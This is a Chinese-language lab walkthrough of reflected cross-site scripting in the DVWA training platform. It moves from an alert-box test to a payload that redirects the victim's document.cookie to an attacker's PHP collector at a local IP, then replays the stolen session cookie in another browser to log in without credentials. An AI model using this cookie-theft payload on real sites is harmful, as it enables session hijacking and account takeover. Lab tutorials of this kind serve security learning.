0x01 环境配置
这里以DVWA平台为例。具体搭建可以找度娘。
先用最低级别
Low
选择XSS(Reflected)
我们输入hack,点击提交,然后右键查看源代码。
看上图,我们输入的内容直接被执行显示在前端页面上,那我们有个想法,假设我们在输入框输入<script>alert('hack')</script>会出现什么呢?如果按照上面的例子来说,它应该存在<pre>和</pre>之间,变成<pre><script>alert('hack')</script></pre>,那应该会弹出对话框。
上面两张图,可以看出,我们构造的弹窗代码,没有经过过滤,直接被执行了。
那你就会说了,弹弹弹,弹走鱼尾纹,对我们有啥用呢?
当然了,弹窗又不是为了好看。
我们做弹窗,是为了测试是否存在XSS漏洞,判断过滤规则,构造绕过代码。
因为我们用的是DVWA最低级别的,所以系统是没有对我们的代码做任何过滤,直接就执行了。
那接下来,我们构造一个获取cookie的代码,这里同样的,我们给它弹出来看看
我们单纯的弹出cookie,对我们来说,没什么用处。
应该想办法把这个cookie获取到我们手里,这样我们就不需要账户密码就可以直接登录网站了。
接下来,我们在本地搭建一个环境,写一个获取cookie的php脚本。
脚本代码如下图。
然后构造xss代码,获取cookie到我们的服务器上(本地搭建)
<script>document.location='http://192.168.0.176/Hcookie.php?cookie='+document.cookie;</script>
输入后,页面如果有跳转百度,说明成功了。(跳转百度只是为了便于提醒我们测试成功,实际使用中,不可能会去这样做)
然后我们可以在我们的本地环境下找到一个名次为cookie的txt文件
我们打开另外一个浏览器,这里用火狐
输入登录网址192.168.0.176
打开cookie编辑插件
保存好后,重新刷新下页面,不需要登录用户和密码,就直接进去了。
所以,xss漏洞,利用得好,危害还是很大的。